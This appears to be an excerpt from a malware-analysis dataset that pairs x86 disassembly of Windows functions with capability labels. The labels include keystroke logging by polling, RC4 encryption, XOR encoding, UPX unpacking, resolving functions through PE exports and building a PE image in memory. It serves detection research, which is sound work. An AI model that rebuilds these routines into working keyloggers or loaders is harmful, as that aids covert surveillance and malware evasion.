joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100398d
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 4
je 0x10039d1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10039d1
cmp dword [ebp - 4], 4
je 0x10039d6
mov eax, dword [ebp + 0x10]
jmp 0x10039d9
mov eax, dword [ebp - 8]
leave
ret 0xc

Function at 0x10039e2
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x18]
add esi, esi
cmp dword [ebp + 8], 0
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp + 0x18], esi
je 0x1003a1b
lea eax, [ebp + 0x18]
push eax
push edi
lea eax, [ebp + 8]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1003a1b
cmp dword [ebp + 8], 1
je 0x1003a2e
mov ecx, esi
mov esi, dword [ebp + 0x10]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
ret 0x14

Function at 0x1004b65
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
jbe 0x1004b8f
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push ebx
movzx dx, byte [eax + 1]
xor ebx, ebx
mov bh, byte [eax]
xor edx, ebx
mov word [ecx], dx
inc ecx
inc ecx
inc eax
inc eax
dec esi
jne 0x1004b79
pop ebx
pop esi
pop ebp
ret 0xc

Function at 0x1004b99
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [ebp + 0x18], ebx
jne 0x1004bb1
xor eax, eax
inc eax
jmp 0x1004c3f
cmp dword [ebp + 0xc], 0xfde9
mov dword [ebp - 4], ebx
je 0x1004bc3
lea eax, [ebp - 0xc]
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push dword [ebp - 4]
push ebx
push ebx
push ebx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
mov edi, eax
cmp edi, ebx
je 0x1004c00
lea eax, [edi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x1004c04
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x1004c3d
push dword [ebp - 4]
push ebx
push edi
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
mov esi, eax
cmp esi, ebx
je 0x1004c32
push ebx
lea eax, [ebp - 0x10]
push eax
push edi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x100739d
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1001898
call fcn.01007568
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x10073da
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10073da
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10073f2
cmp eax, 0x20b
je 0x10073df
mov dword [ebp - 0x1c], ebx
jmp 0x1007406
cmp dword [ecx + 0x84], 0xe
jbe 0x10073da
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x1007400
cmp dword [ecx + 0x74], 0xe
jbe 0x10073da
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x100ab9c], 0xffffffff
or dword [0x100aba0], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1009ab8]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1009ab4]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x100aba4], eax
call fcn.010075f4
cmp dword [0x1009608], ebx
jne 0x1007461
push fcn.010075f4
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.010075dd
push 0x1009010
push 0x100900c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1009ab0]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1009aac]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x1009008
push 0x1009000
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
cmp byte [esi], 0x22
jne 0x10074f7
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x10074cb
cmp al, 0x22
jne 0x10074bd
cmp byte [esi], 0x22
jne 0x10074d4
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x10074de
cmp al, 0x20
jbe 0x10074d0
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x54], 1
je 0x1007502
movzx eax, word [ebp - 0x50]
jmp 0x1007505
cmp byte [esi], 0x20
jbe 0x10074d4
inc esi
mov dword [ebp - 0x20], esi
jmp 0x10074f7
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x1007522
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1007557
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.010075a3
ret
Function at 0x4633d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x3c000]
mov dword [edi + 0x5add8], 0x959d9d0b
push edi
jmp 0x4633fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x463401
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4633f0
mov eax, 1
add ebx, ebx
jne 0x463413
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x463424
jne 0x463443
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x463443
dec eax
add ebx, ebx
jne 0x463430
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x463408
add ebx, ebx
jne 0x46343f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x463495
xor ecx, ecx
sub eax, 3
jb 0x46345b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4634ca
sar eax, 1
mov ebp, eax
jmp 0x463466
add ebx, ebx
jne 0x463466
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x463434
inc ecx
add ebx, ebx
jne 0x463474
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x463434
add ebx, ebx
jne 0x463481
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x463476
jne 0x463492
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x463476
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4634b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4634a6
jmp 0x4633f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4634b4
add edi, ecx
jmp 0x4633f6
pop esi
mov edi, esi
mov ecx, 0x1758
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4634d2
cmp byte [edi], 0x11
jne 0x4634d2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4634d7
lea edi, [esi + 0x61000]
mov eax, dword [edi]
or eax, eax
je 0x46354f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x633e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x63434]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x463504
mov ecx, edi
jns 0x463533
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x63438]
or eax, eax
je 0x463549
mov dword [ebx], eax
add ebx, 4
jmp 0x463521
call dword [esi + 0x63448]
mov ebp, dword [esi + 0x6343c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x463583
sub esp, 0xffffff80
jmp 0x4180dd
Function at 0x1000176b
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x78
xor eax, eax
lea ecx, [esp + 0x60]
lea edx, [esp + 0x6c]
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x58], edx
mov dword [esp + 0x54], eax
jmp 0x10001858
mov eax, dword [sym.imp.USER32.dll_GetFocus]
call eax
mov dword [esp + 0x70], 0x36
mov ecx, esp
lea edx, [esp + 0x70]
mov dword [ecx + 0x10], edx
mov edx, dword [esp + 0x58]
mov esi, dword [edx]
mov dword [ecx + 0xc], esi
mov dword [ecx + 8], 0xeea
mov dword [ecx + 4], 0x58
mov dword [ecx], 0xeed368
mov ecx, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov dword [esp + 0x50], eax
call ecx
sub esp, 0x14
mov dword [esp + 0x4c], eax
jmp 0x100018e4
mov eax, dword [esp + 0x48]
mov dword [esp + 0x64], 0
mov dword [esp + 0x60], 0
mov ecx, esp
mov edx, dword [esp + 0x5c]
mov dword [ecx], edx
mov ecx, dword [sym.imp.ADVAPI32.dll_FreeEncryptionCertificateHashList]
mov dword [esp + 0x44], eax
call ecx
sub esp, 4
mov eax, esp
mov dword [eax + 4], 0xeaa
mov dword [eax], 0x3ef00c
mov eax, dword [sym.imp.GDI32.dll_SetTextAlign]
call eax
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x3011e7
mov ecx, dword [sym.imp.GDI32.dll_WidenPath]
mov dword [esp + 0x40], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x44]
add ecx, 1
cmp ecx, 0xa
mov dword [esp + 0x3c], eax
mov dword [esp + 0x48], ecx
je 0x100018e4
jmp 0x100017dd
mov eax, dword [esp + 0x54]
xor ecx, ecx
mov edx, esp
mov dword [edx], 0x2e5433
mov edx, dword [sym.imp.SHLWAPI.dll_SHRegDuplicateHKey]
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], ecx
call edx
sub esp, 4
xor ecx, ecx
mov edx, dword [esp + 0x38]
sub edx, 0xa
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], edx
je 0x10001790
jmp 0x10001896
mov eax, dword [esp + 0x38]
sub eax, 0x29
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x48], ecx
jne 0x100017dd
jmp 0x100018b1
mov eax, esp
mov dword [eax], 0x1d494c
mov eax, dword [sym.imp.ole32.dll_RevokeDragDrop]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x2f
mov ecx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dword [esp + 0x20], eax
call ecx
sub esp, 4
mov word [esp + 0x1e], ax
jmp 0x10001790
mov eax, dword [esp + 0x38]
add eax, 1
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
cmp eax, 0x6e
mov dword [esp + 0x54], eax
jne 0x10001858
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x1000b26a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000c35e
lea ecx, [0x1000b373]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x30], edx
mov dword [esp + 0x34], 0x132800
mov dword [0x10043714], 0x882
mov edx, dword [0x10043700]
mov dword [esp + 0x38], edx
mov edx, dword [0x10043704]
mov dword [esp + 0x4c], edx
mov edx, dword [0x10043708]
mov dword [esp + 0x70], edx
mov edx, dword [0x1004370c]
mov dword [esp + 0x7c], edx
mov edx, dword [0x10043710]
mov dword [esp + 0x48], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x1000b308
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1000b326
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [0x10043714], 0x1759
mov dword [esp + 0x14], eax
jmp 0x1000b2e5
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x50], ecx
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x84], esi
mov esi, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1000c1f6
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x10043714], 0x26d9
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x1000b96b
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x10043720], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov byte [0x10043724], 0
mov dword [0x10043714], 0x1df0
mov dword [0x1004371c], 0
mov dword [ebp - 0x1c], eax
jmp 0x1000b9c3
xor eax, eax
mov dword [0x1004371c], 0
mov dword [ebp - 0x20], eax
jmp 0x1000b9eb
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1004371c]
add eax, 1
mov dword [0x1004371c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1000b9c3
jmp 0x1000b9b2
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x10043720]
mov dword [ebp - 0x24], eax
xor esi, esi
mov dword [ebp - 0x28], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x24]
movzx esi, byte [edi + ebx]
mov edi, dword [ebp - 0x28]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov eax, esi
cdq
idiv ecx
mov dword [0x10043720], edx
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + ebx]
mov byte [0x10043724], cl
mov esi, dword [ebp - 0x18]
mov cl, byte [esi + edx]
mov byte [esi + ebx], cl
mov cl, byte [0x10043724]
mov edx, dword [0x10043720]
mov byte [esi + edx], cl
mov edx, dword [0x1004371c]
add edx, 1
mov dword [0x1004371c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1000b9eb
mov eax, dword [0x10043714]
add eax, 0x166c
mov dword [0x10043714], eax
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000ba94
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1004371c], 0
mov dword [0x10043720], 0
mov dword [0x10043728], 0
mov dword [0x10043718], 0xf3e
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1000bbdb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x1004371c], edx
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10043720], edx
mov dword [0x10043714], 0x24e2
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10043724], cl
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x10043724]
mov edx, dword [0x10043720]
mov byte [edi + edx], cl
mov dword [0x10043714], 0xb03
mov edx, dword [0x1004371c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10043720]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x10043728], ebx
mov dword [0x10043714], 0x8a0
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov cl, byte [edx + ecx]
xor cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
mov byte [ebx + edx], cl
add edx, 1
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov dword [ebp - 0x38], edx
je 0x1000bbdb
mov eax, dword [0x10043720]
mov ecx, dword [0x1004371c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x1000baf7
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000bd29
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1000bbe3
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x1000bd65
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [0x10043718], 0x13cf
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x1000be84
jmp 0x1000bdcf
mov eax, dword [ebp - 0x34]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x3d], bh
mov byte [ebp - 0x3e], cl
je 0x1000be58
jmp 0x1000be2b
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], eax
jmp 0x1000be0c
mov eax, dword [ebp - 0x4c]
add eax, 2
mov dword [ebp - 0x50], eax
xor eax, eax
mov ecx, dword [ebp - 0x54]
add ecx, 1
mov edx, dword [ebp - 0x2c]
cmp ecx, edx
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x30], eax
jae 0x1000be84
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], edx
jmp 0x1000bda0
mov al, byte [ebp - 0x3d]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x3c]
add edx, 1
mov ah, byte [ebp - 0x3e]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x34], edx
jne 0x1000bda0
mov al, byte [ebp - 0x3e]
test al, 1
jne 0x1000be61
jmp 0x1000bde3
mov eax, dword [ebp - 0x4c]
movzx ecx, word [eax]
mov dword [0x10043718], 0xa93
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x30]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c1f6
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x1000c2a3
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov dword [0x10043714], 0xe80
mov eax, esp
mov dword [eax + 0xc], 0x40
mov dword [eax + 8], 0x1000
mov dword [eax + 4], 0x6000
mov dword [eax], 0
mov eax, dword [ebp - 0x34]
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.1000b687
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x30], ecx
mov dword [0x10043714], 0x162c
mov ecx, dword [ebp - 0x38]
mov dword [edx + 0x14], ecx
cmp ecx, 0
mov dword [ebp - 0x3c], eax
jne 0x1000c317
mov eax, dword [ebp - 0x3c]
add esp, 0x50
pop ebp
ret
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1000d4de]
mov dh, byte [eax + 0x1000d4af]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
jne 0x1000c2a3
lea eax, [ebp - 0x20]
mov dword [0x10043714], 0xe5c
mov dword [ebp - 0x40], eax
call fcn.1000bfbf
mov dword [esp], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
call fcn.1000c0a9
xor ecx, ecx
mov edx, dword [0x10043714]
add edx, 0xffffef22
mov dword [0x10043714], edx
cmp eax, 0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x3c], ecx
je 0x1000c29b
jmp 0x1000c212
mov dword [0x10043714], 0x1bc7
mov eax, dword [ebp - 0x38]
add eax, 0x1f7d
mov dword [ebp - 0x3c], eax
jmp 0x1000c29b
Function at 0x1000c35e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x1000c578
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x140]
lea edx, section..data
mov esi, eax
shl esi, 8
mov edi, edx
add edi, esi
add edi, 0x48
mov esi, dword [edi]
mov edi, eax
shl edi, 8
mov ebx, edx
add ebx, edi
mov edi, dword [ebx]
mov ebx, eax
shl ebx, 8
add edx, ebx
add edx, 4
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x144]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x150], edx
call fcn.1000b8a1
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
add eax, ecx
mov edx, dword [ebp - 0x148]
add edx, 1
cmp edx, 0x357
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], edx
jne 0x1000c388
lea eax, [0x1000d4bd]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [0x10043714], 0x24f0
mov dword [0x10043718], 0x200e
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x158], ecx
call fcn.1000b96b
mov dword [0x10043714], 0x23d4
mov eax, dword [ebp - 0x154]
mov dword [esp], eax
mov ecx, dword [ebp - 0x144]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x15c]
mov dword [esp + 0xc], edx
call fcn.1000ba94
xor eax, eax
mov ecx, dword [0x10043714]
add ecx, 0x171f
mov dword [0x10043718], ecx
mov ecx, dword [ebp - 0x144]
add ecx, 0x132ce9
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [edx + 4], 0x132800
mov ecx, dword [ebp - 0x144]
add ecx, 0xc81a8
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x2010
mov ecx, dword [0x10043718]
add ecx, 0x550
mov dword [0x10043714], ecx
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [ebp - 0x12c]
mov dword [0x10043714], 0xe5c
mov dword [0x10043718], 0xfffff68a
mov dword [ebp - 0x160], eax
call fcn.1000bfbf
mov dword [esp], eax
mov eax, dword [ebp - 0x160]
mov dword [esp + 4], eax
call fcn.1000c0a9
mov ecx, eax
mov dword [0x1004372c], eax
mov eax, esp
mov edx, dword [ebp - 0x15c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x13c], ecx
jmp 0x1000c388
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
xor edx, edx
lea esi, section..data
mov edi, eax
shl edi, 8
mov ebx, esi
add ebx, edi
add ebx, 0x48
mov edi, dword [ebx]
mov ebx, eax
shl ebx, 8
add esi, ebx
add esi, 4
movzx esi, word [esi]
xor esi, edi
add esi, ecx
add eax, 1
cmp eax, 0x357
mov ecx, esi
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x15c], esi
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x164], edx
jne 0x1000c578
mov eax, dword [ebp - 0x164]
mov cl, byte [eax + 0x1000d4de]
mov dl, byte [eax + 0x1000d4af]
sub dl, cl
mov byte [ebp + eax - 0x12c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x164], eax
je 0x1000c4fb
jmp 0x1000c5d7